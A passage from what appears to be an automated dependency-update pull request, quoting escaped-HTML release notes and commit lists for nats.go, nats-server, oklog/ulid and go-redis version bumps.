headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.49.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v1.50.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eRemove status listener in Consume()/Messages() cleanup. Thanks \u003ca href=\"https://github.com/txuna\"\u003e\u003ccode\u003e@​txuna\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/1993\"\u003e#1993\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix race condition in \u003ccode\u003eorderedSubscription.Drain()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eOrderedConsumer.Consume()\u003c/code\u003e race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eDe-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2042\"\u003e#2042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrap EOF/connection reset errors with TLS context after handshake (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2031\"\u003e#2031\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eReject control characters in stream and consumer names (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2038\"\u003e#2038\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing \u003ccode\u003eAccountLimits\u003c/code\u003e fields in \u003ccode\u003ejetstream\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eKeyValue:\n\u003cul\u003e\n\u003cli\u003eDeduplicate keys in KeyValue.Keys() and document ListKeys behavior (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2029\"\u003e#2029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.49.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/oklog/ulid/v2` from 2.1.0 to 2.1.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/oklog/ulid/releases\"\u003egithub.com/oklog/ulid/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eREADME fix broken pkg.go.dev links by \u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eREADME: fix small typos by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fmt, vet, staticcheck to CI and lint accordingly by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/89\"\u003eoklog/ulid#89\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eulid: add MakeFromTime helper function by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/87\"\u003eoklog/ulid#87\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor default entropy and fix test by \u003ca href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/98\"\u003eoklog/ulid#98\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd ulid.Timestamp method by \u003ca href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/107\"\u003eoklog/ulid#107\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/setup-go@v5 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/checkout@v4 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/113\"\u003eoklog/ulid#113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eulid.Nil\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method by \u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ehttps://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/96c4edf226ef639c92f96f42c7c2a161ae0e1a66\"\u003e\u003ccode\u003e96c4edf\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eulid.Zero\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/112\"\u003e#112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/8b543f47f77d8161698307a166e0e42a08f1c78a\"\u003e\u003ccode\u003e8b543f4\u003c/code\u003e\u003c/a\u003e bump actions/checkout@v4 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/113\"\u003e#113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d53f5dd0be1ab8a49bedce0c2680d8981cc3297\"\u003e\u003ccode\u003e1d53f5d\u003c/code\u003e\u003c/a\u003e bump actions/setup-go@v5 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/114\"\u003e#114\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/a1d104faec9c5689bc5efd76c2b1820882ab3c93\"\u003e\u003ccode\u003ea1d104f\u003c/code\u003e\u003c/a\u003e Add ulid.Timestamp method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/107\"\u003e#107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/b4f99149a957226cf1ecd2d4da65297b809e9776\"\u003e\u003ccode\u003eb4f9914\u003c/code\u003e\u003c/a\u003e README: println -\u0026gt; fmt.Println\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/99f59762fe4431686af13a3dd4b190761b2ae908\"\u003e\u003ccode\u003e99f5976\u003c/code\u003e\u003c/a\u003e Refactor default entropy and fix test (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/6222989e3f95150b27dc0c18ac418c3eb7bffd02\"\u003e\u003ccode\u003e6222989\u003c/code\u003e\u003c/a\u003e ulid: add MakeFromTime helper function (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/87\"\u003e#87\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/ab8634515f749314bab81ba967c8641cd5d2616d\"\u003e\u003ccode\u003eab86345\u003c/code\u003e\u003c/a\u003e Add fmt, vet, staticcheck to CI and lint accordingly (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/89\"\u003e#89\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1dfe33aa6d21e9797692115f2e59fb97eae1b2bc\"\u003e\u003ccode\u003e1dfe33a\u003c/code\u003e\u003c/a\u003e README: fix small typos (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/88\"\u003e#88\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d504c6497efb575b36f513b53d332a373ebeba0\"\u003e\u003ccode\u003e1d504c6\u003c/code\u003e\u003c/a\u003e README: fix ulid tool install instructions\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/redis/go-redis/v9` from 9.17.2 to 9.19.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/releases\"\u003egithub.com/redis/go-redis/v9's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.19.0\u003c/h2\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eFIPS-Compatible Script Helper\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eScript\u003c/code\u003e now supports a FIPS-safe execution mode that avoids client-side SHA-1 computation, which is blocked in strict FIPS environments. A new \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e constructor uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain and cache the digest from the server, then runs commands via \u003ccode\u003eEVALSHA\u003c/code\u003e/\u003ccode\u003eEVALSHA_RO\u003c/code\u003e. Falls back to \u003ccode\u003eEVAL\u003c/code\u003e/\u003ccode\u003eEVALRO\u003c/code\u003e if loading fails, and transparently retries once on \u003ccode\u003eNOSCRIPT\u003c/code\u003e. The default behavior is unchanged for existing users.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFT.AGGREGATE Step-Based Pipeline Builder\u003c/h3\u003e\n\u003cp\u003eAdded a new step-based \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e pipeline API via \u003ccode\u003eFTAggregateOptions.Steps\u003c/code\u003e, allowing \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e (with per-step \u003ccode\u003eMAX\u003c/code\u003e) to be repeated and interleaved in arbitrary order — matching Redis's native multi-stage aggregation semantics. The legacy \u003ccode\u003eLoad\u003c/code\u003e/\u003ccode\u003eApply\u003c/code\u003e/\u003ccode\u003eGroupBy\u003c/code\u003e/\u003ccode\u003eSortBy\u003c/code\u003e/\u003ccode\u003eSortByMax\u003c/code\u003e fields are now deprecated.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eRaw RESP Protocol Access\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e methods for executing arbitrary commands and reading the raw RESP response. Useful for proxying, custom protocol inspection, and working with commands not yet wrapped by go-redis.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eConfigurable Dial Retry Backoff\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e option (plumbed through \u003ccode\u003eOptions\u003c/code\u003e, \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, \u003ccode\u003eFailoverOptions\u003c/code\u003e) to let callers customize the delay between failed dial attempts. Helpers \u003ccode\u003eDialRetryBackoffConstant\u003c/code\u003e and \u003ccode\u003eDialRetryBackoffExponential\u003c/code\u003e (with jitter and cap) are provided out of the box. Dial timeout is now also applied \u003cstrong\u003eper attempt\u003c/strong\u003e rather than across all retries.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3705\"\u003e#3705\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFT.AGGREGATE Steps\u003c/strong\u003e: Step-based pipeline builder for \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e with support for repeated/interleaved \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e stages (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorSet commands\u003c/strong\u003e: Added \u003ccode\u003eVISMEMBER\u003c/code\u003e and \u003ccode\u003eWITHATTRIBS\u003c/code\u003e support (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3753\"\u003e#3753\u003c/a\u003e) by \u003ca href=\"https://github.com/romanpovol\"\u003e\u003ccode\u003e@​romanpovol\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIPS-safe Script\u003c/strong\u003e: \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain the digest from the server, avoiding client-side SHA-1 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRaw RESP access\u003c/strong\u003e: \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e for raw RESP protocol access (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial retry backoff\u003c/strong\u003e: \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e function option with constant and exponential helpers (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTyped NOSCRIPT error\u003c/strong\u003e: Redis \u003ccode\u003eNOSCRIPT\u003c/code\u003e replies are now surfaced as a typed error for easier handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3738\"\u003e#3738\u003c/a\u003e) by \u003ca href=\"https://github.com/LINKIWI\"\u003e\u003ccode\u003e@​LINKIWI\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub ClientSetName\u003c/strong\u003e: Added \u003ccode\u003eClientSetName\u003c/code\u003e method to \u003ccode\u003ePubSub\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3727\"\u003e#3727\u003c/a\u003e) by \u003ca href=\"https://github.com/Flack74\"\u003e\u003ccode\u003e@​Flack74\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplicaOf\u003c/strong\u003e: New \u003ccode\u003eReplicaOf\u003c/code\u003e method replaces the deprecated \u003ccode\u003eSlaveOf\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3720\"\u003e#3720\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHSCAN BinaryUnmarshaler\u003c/strong\u003e: \u003ccode\u003eHScan\u003c/code\u003e now supports types implementing \u003ccode\u003eencoding.BinaryUnmarshaler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3768\"\u003e#3768\u003c/a\u003e) by \u003ca href=\"https://github.com/Aaditya-dubey1\"\u003e\u003ccode\u003e@​Aaditya-dubey1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAuto hostname type detection\u003c/strong\u003e: Improved endpoint type detection for maintenance notifications using DNS-based classification; handles empty hosts and expanded private-IP ranges (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3789\"\u003e#3789\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHELLO fallback\u003c/strong\u003e: Don't send \u003ccode\u003eCLIENT MAINT_NOTIFICATIONS\u003c/code\u003e handshake when \u003ccode\u003eHELLO\u003c/code\u003e fails and connection falls back to RESP2; 